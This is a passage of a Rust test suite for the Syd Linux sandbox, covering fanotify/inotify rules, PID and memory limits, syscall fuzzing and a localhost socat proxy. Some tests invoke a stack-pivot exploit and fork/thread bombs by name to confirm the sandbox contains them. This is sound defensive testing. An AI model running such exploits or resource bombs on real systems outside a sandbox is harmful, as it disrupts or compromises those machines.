        .do_("fanotify_mark", &[cwd, "0".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[cwd, "0".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &["0".to_string(), cwd])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &["0".to_string(), cwd])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?;
    let (dir, path) = path_split(&cwd);
    let dir = dir.display().to_string();
    let path = path.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[dir, path])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_dir_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?;
    let (dir, path) = path_split(&cwd);
    let dir = dir.display().to_string();
    let path = path.display().to_string();
    let cwd = cwd.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[dir, path])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_symlink_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .do_("fanotify_mark", &[cwd, "symlink".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_ok!(status);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_fanotify_mark_symlink_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("fanotify_mark", &[cwd, "symlink".to_string()])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if !matches!(code, nix::libc::ENOSYS | nix::libc::EPERM) {
        assert_status_code!(status, nix::libc::ENOENT);
    } else {
        eprintln!("fanotify API not supported or permitted, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_inotify_add_watch_path_allow() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .do_("inotify_add_watch", &[cwd])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_path_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("inotify_add_watch", &[cwd])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

fn test_syd_inotify_add_watch_symlink_allow() -> TestResult {
    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .do_("inotify_add_watch", ["symlink"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_inotify_add_watch_symlink_deny() -> TestResult {
    let cwd = current_dir(false)?.canonicalize()?.display().to_string();

    if let Err(error) = symlink("/var/empty/foo", "symlink") {
        eprintln!("Failed to create symbolic link, skipping: {error}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Inotify is disabled by default.
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write:on")
        .m("allow/read,stat+/***")
        .m(format!("deny/stat+{cwd}/***"))
        .do_("inotify_add_watch", ["symlink"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, nix::libc::ENOENT);

    Ok(())
}

fn test_syd_interrupt_mkdir() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .do_("interrupt_mkdir", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_interrupt_bind_ipv4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .m("allow/net/bind+loopback!65432")
        .do_("interrupt_bind_ipv4", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, they have a POC.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_interrupt_bind_unix() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .m("allow/net/bind+/***")
        .do_("interrupt_bind_unix", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, check dev/seccomp_poc_no_lib.c
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_interrupt_connect_ipv4() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat,write,net:on")
        .m("allow/read,stat,write+/***")
        .m("allow/net/bind+loopback!65432")
        .m("allow/net/connect+loopback!65432")
        .do_("interrupt_connect_ipv4", NONE)
        .status()
        .expect("execute syd");
    // FIXME: This is a kernel bug, mixi will report it, they have a POC.
    ignore!(status.success(), "status:{status:?}");
    Ok(())
}

fn test_syd_stack_pivot_deny() -> TestResult {
    skip_unless_available!("sh", "cc", "python");
    if !init_stack_pivot() {
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    // Exploit must succeed outside Syd.
    let status = Command::new("python")
        .args(["./stack-pivot", "run"])
        .status()
        .expect("execute python");
    assert_status_code!(status, 42);

    // Exploit must fail due to execve args1==NULL||arg2==NULL.
    // We set log=info to see SegvGuard in action.
    let status = syd()
        .log("info")
        .p("off")
        .m("sandbox/read,stat,write,exec:on")
        .m("allow/read,stat,write,exec+/***")
        .argv(["python", "./stack-pivot", "run"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exp_syscall_fuzz_bare() -> TestResult {
    // We safe unsafe_memory otherwise trinity is killed at startup.
    let epoch = std::time::Instant::now();
    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_memory:1")
        .m("lock:off")
        .m("sandbox/read,stat,write,exec,net,ioctl,tpe:on")
        .m("allow/read,stat,exec,write+/***")
        .do_("syscall_fuzz", NONE)
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    let time = format_duration(epoch.elapsed());
    println!("# fuzz completed in {time} with code {code}.");
    ignore!(code == 0, "status:{status:?}");
    Ok(())
}

fn test_syd_exp_syscall_fuzz_wrap() -> TestResult {
    skip_unless_unshare!();

    // We safe unsafe_memory otherwise trinity is killed at startup.
    let epoch = std::time::Instant::now();
    let status = syd()
        .p("off")
        .p("container")
        .m("lock:off")
        .m("trace/allow_unsafe_memory:1")
        .m("sandbox/read,stat,write,exec,net,ioctl,tpe:on")
        .m("allow/read,stat,exec,write+/***")
        .do_("syscall_fuzz", NONE)
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    let time = format_duration(epoch.elapsed());
    println!("# fuzz completed in {time} with code {code}.");
    ignore!(code == 0, "status:{status:?}");
    Ok(())
}

fn test_syd_pid_thread_deny() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:deny")
        .m("pid/max:1")
        .do_("thread", ["0", "24"])
        .status()
        .expect("execute syd");
    // Early fails get EACCES ie 13. However rust panics have arbitrary
    // exit values on different systems and on different build profiles,
    // e.g. we get 101 in debug mode, 134 in release mode, and 139 on
    // Alpine Linux... Let's check for error to keep things simple and stable.
    assert_status_not_ok!(status);

    Ok(())
}

fn test_syd_pid_fork_deny() -> TestResult {
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:deny")
        .m("pid/max:16")
        .do_("fork", ["0", "24"])
        .status()
        .expect("execute syd");
    assert!(
        status.code().unwrap_or(127) == nix::libc::EACCES,
        "status:{status:?}"
    );

    Ok(())
}

fn test_syd_pid_fork_bomb() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("off")
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:kill")
        .m("pid/max:16")
        .do_("fork_bomb", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_fork_bomb_asm() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("off")
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:kill")
        .m("pid/max:16")
        .do_("fork_bomb_asm", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_pid_thread_bomb() -> TestResult {
    skip_unless_unshare!();

    let timeout = env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string());
    env::set_var("SYD_TEST_TIMEOUT", "15s");
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .log("off")
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:kill")
        .m("pid/max:16")
        .do_("thread_bomb", NONE)
        //.stdout(Stdio::null())
        //.stderr(Stdio::null())
        .status()
        .expect("execute syd");
    env::set_var("SYD_TEST_TIMEOUT", timeout);
    assert_status_code!(status, EX_SIGKILL);

    Ok(())
}

fn test_syd_exp_pid_stress_ng_kill() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:kill")
        .m("pid/max:1")
        .argv(["stress-ng", "-c", "1", "-t", "7"])
        .status()
        .expect("execute syd");
    assert!(
        status.code().unwrap_or(127) == 128 + nix::libc::SIGKILL,
        "status:{status:?}"
    );

    Ok(())
}

fn test_syd_exp_pid_stress_ng_allow() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:deny")
        .m("pid/max:2")
        .argv(["stress-ng", "--log-file", "log", "-c", "1", "-t", "7"])
        .status()
        .expect("execute syd");
    // Fails on CI.
    if !*CI_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let mut file = File::open("log")?;
    let mut logs = String::new();
    file.read_to_string(&mut logs)?;

    assert!(!logs.contains("errno="), "logs:{logs:?}");

    Ok(())
}

fn test_syd_exp_pid_stress_ng_fork() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let status = syd()
        .p("off")
        .p("container")
        .m("sandbox/pid:on")
        .m("default/pid:filter")
        .m("pid/max:128")
        .argv([
            "stress-ng",
            "--log-file",
            "log",
            "-f",
            "4",
            "-t",
            "15",
            "--fork-max",
            "1024",
        ])
        .status()
        .expect("execute syd");
    // Fails on CI.
    if !*CI_BUILD {
        assert_status_ok!(status);
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    let mut file = File::open("log")?;
    let mut logs = String::new();
    file.read_to_string(&mut logs)?;
    assert!(!logs.contains("errno="), "logs:{logs:?}");

    Ok(())
}

fn test_syd_mem_alloc() -> TestResult {
    let status = syd()
        .env("SYD_TEST_FORCE", "IKnowWhatIAmDoing")
        .p("off")
        .m("sandbox/mem:on")
        .m("mem/max:128M")
        .m("mem/vm_max:256M")
        .do_("alloc", NONE)
        .status()
        .expect("execute syd");
    // This test times out on GITLAB CI.
    // TODO: Investigate, see: #166.
    if !*GL_BUILD {
        // Segmentation fault is expected.
        // IOT is confusing but happens on alpine+musl.
        // Otherwise we require ENOMEM.
        assert!(
            matches!(
                status.code().unwrap_or(127),
                nix::libc::ENOMEM | EX_SIGIOT | EX_SIGSEGV
            ),
            "status:{status:?}"
        );
    } else {
        ignore!(status.success(), "status:{status:?}");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
        return Ok(());
    }

    Ok(())
}

fn test_syd_exp_mem_stress_ng_malloc_1() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let command = syd()
        .p("off")
        .p("container")
        .m("sandbox/mem:on")
        .m("mem/max:32M")
        .m("mem/vm_max:256M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--malloc",
            "4",
            "--malloc-bytes",
            "128M",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    assert!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_exp_mem_stress_ng_malloc_2() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let command = syd()
        .p("off")
        .p("container")
        .m("sandbox/mem:on")
        .m("mem/max:32M")
        .m("mem/vm_max:256M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--malloc",
            "4",
            "--malloc-bytes",
            "128M",
            "--malloc-touch",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    assert!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_exp_mem_stress_ng_mmap() -> TestResult {
    skip_unless_available!("stress-ng");
    skip_unless_unshare!();

    let command = syd()
        .p("off")
        .p("container")
        .m("sandbox/mem:on")
        .m("mem/max:16M")
        .m("mem/vm_max:64M")
        .argv([
            "stress-ng",
            "-v",
            "-t",
            "5",
            "--mmap",
            "4",
            "--mmap-bytes",
            "1G",
        ])
        .stdout(Stdio::inherit())
        .stderr(Stdio::piped())
        .spawn()
        .expect("spawn syd");

    let output = command.wait_with_output().expect("wait syd");
    let output = String::from_utf8_lossy(&output.stderr);
    eprintln!("{output}");
    fixup!(output.contains(r#""cap":"m""#), "out:{output:?}");

    Ok(())
}

fn test_syd_tor_recv4_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Heavy is the root of light. Still is the master of moving.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,forever 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- socat -u TCP4:127.0.0.1:9050,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_recv6_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Heavy is the root of light. Still is the master of moving.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],forever,ipv6only 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/addr:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- socat -u TCP6:[::1]:9050,forever OPEN:msg,wronly,creat,excl
wait $p
tail >&2 log
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "kill", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Heavy is the root of light. Still is the master of moving.' > chk
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
:>log
:>msg
set -x
socat -u -d -d TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,fork OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
socat -u FILE:chk TCP4:127.0.0.1:9050,forever
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while test `grep -c childdied log` -lt 1; do :; done
EOF
kill -9 $p; wait $p || true
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6_one() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!("diff", "grep", "kill", "sh", "shuf", "socat", "tail");

    let syd = &SYD.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-ce")
        .arg(format!(
            r##"
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo 'Heavy is the root of light. Still is the master of moving.' > chk
echo >&2 "[*] Spawning socat to listen on ::1!$SYD_TEST_TOR_PORT in the background."
:>log
:>msg
set -x
socat -u -d -d TCP6-LISTEN:$SYD_TEST_TOR_PORT,bind=[::1],fork,ipv6only OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward ::1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+::1!9050' \
    -msandbox/proxy:on -mproxy/addr:::1 \
    -mproxy/ext/addr:::1 -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -ex <<'EOF'
socat -u -d -d FILE:chk TCP6:[::1]:9050,forever
set +x
# Wait socat child to exit.
# We have to do this inside the sandbox:
# syd-tor will exit with the sandbox regardless of ongoing connections!
echo >&2 "[*] Waiting for listening socat to handle incoming connection."
while test `grep -c childdied log` -lt 1; do :; done
EOF
kill -9 $p; wait $p || true
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send4_many_seq() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i500-750`
p=`shuf -n1 -i31415-65535`
SYD_TEST_TOR_CHLD=${{SYD_TEST_TOR_CHLD:-$c}}
SYD_TEST_TOR_NREQ=${{SYD_TEST_TOR_NREQ:-$u}}
SYD_TEST_TOR_PORT=${{SYD_TEST_TOR_PORT:-$p}}
SYD_TEST_TOR_RAND=${{SYD_TEST_TOR_RAND:-4}}
test `expr $SYD_TEST_TOR_NREQ % 2` -ne 0 && SYD_TEST_TOR_NREQ=`expr $SYD_TEST_TOR_NREQ + 1`
export SYD_TEST_TOR_NREQ
export SYD_TEST_TOR_PORT
l=$SYD_TEST_TOR_RAND
h=`expr $l * 2`
b=`expr $l * $SYD_TEST_TOR_NREQ`
rh=`{syd_size} $h`
rb=`{syd_size} $b`
echo >&2 "[*] Concurrent listeners set to $SYD_TEST_TOR_CHLD, use SYD_TEST_TOR_CHLD to override."
echo >&2 "[*] Number of requests set to $SYD_TEST_TOR_NREQ, use SYD_TEST_TOR_NREQ to override."
echo >&2 "[*] Using port $SYD_TEST_TOR_PORT on localhost, use SYD_TEST_TOR_PORT to override."
echo >&2 "[*] Random payload batch size is $rh, use SYD_TEST_TOR_RAND to override."
echo >&2 "[*] Generating $rb of random payload using /dev/random."
dd if=/dev/random bs=1 count=$b status=progress | {syd_hex} | grep -Eo ".{{$h}}" > chk
:>log
:>msg
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_TOR_PORT in the background."
set -x
socat -u -d -d \
    TCP4-LISTEN:$SYD_TEST_TOR_PORT,bind=127.0.0.1,fork,max-children=$SYD_TEST_TOR_CHLD \
    OPEN:msg,wronly,append,lock 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || true` -lt 1; do :; done
echo >&2 "[*] Booting syd with network and proxy sandboxing on."
echo >&2 "[*] Set to forward 127.0.0.1!{{9050<->$SYD_TEST_TOR_PORT}} across network namespace boundary."
set -x
env SYD_LOG=info {syd} -poff -pP -munshare/user:1 \
    -msandbox/net:on -m'allow/net/connect+127.0.0.1!9050' \
    -msandbox/proxy:on -mproxy/ext/port:$SYD_TEST_TOR_PORT \
    -- sh -e <<'EOF'
echo >&2 "[*] Spawning sequential socats inside network namespace to send $SYD_TEST_TOR_NREQ requests."
test -t 2 && t=0 || t=1
n=0
while read -r data; do
    test $t && printf >&2 "\r\033[K%s" "[*] $n out of $SYD_TEST_TOR_NREQ sent..."
    echo $data | socat -u - TCP4:127.0.0.1:9050,forever
    n=`expr $n + 1`
    while test `grep -c childdied log || true` -lt $n; do :; done
done < chk
test $t && printf >&2 "\r\033[K%s\n" "[*] $n out of $SYD_TEST_TOR_NREQ received."
EOF
set +x
echo >&2 "[*] Terminating background socat after syd exit."
tail >&2 -f log &
t=$!
kill -9 $p; wait $p || true
kill -9 $t; wait $t || true
set -x
diff -u chk msg
        "##
        ))
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_tor_send6_many_seq() -> TestResult {
    skip_unless_unshare!();
    skip_unless_available!(
        "dd", "diff", "grep", "kill", "seq", "sh", "shuf", "socat", "sort", "tail"
    );

    let syd = &SYD.to_string();
    let syd_cpu = &SYD_CPU.to_string();
    let syd_hex = &SYD_HEX.to_string();
    let syd_size = &SYD_SIZE.to_string();
    let status = Command::new("timeout")
        .arg("-sKILL")
        .arg(env::var("SYD_TEST_TIMEOUT").unwrap_or("5m".to_string()))
        .arg("sh")
        .arg("-c")
        .arg(format!(
            r##"
echo >&2 "[*] Checking number of CPUs to set a default for the number of concurrent listeners."
c=`{syd_cpu}`
echo >&2 "[*] Number of CPUs is $c."
u=`shuf -n1 -i500-750`
p=`shuf -n1 -i31415-65535`
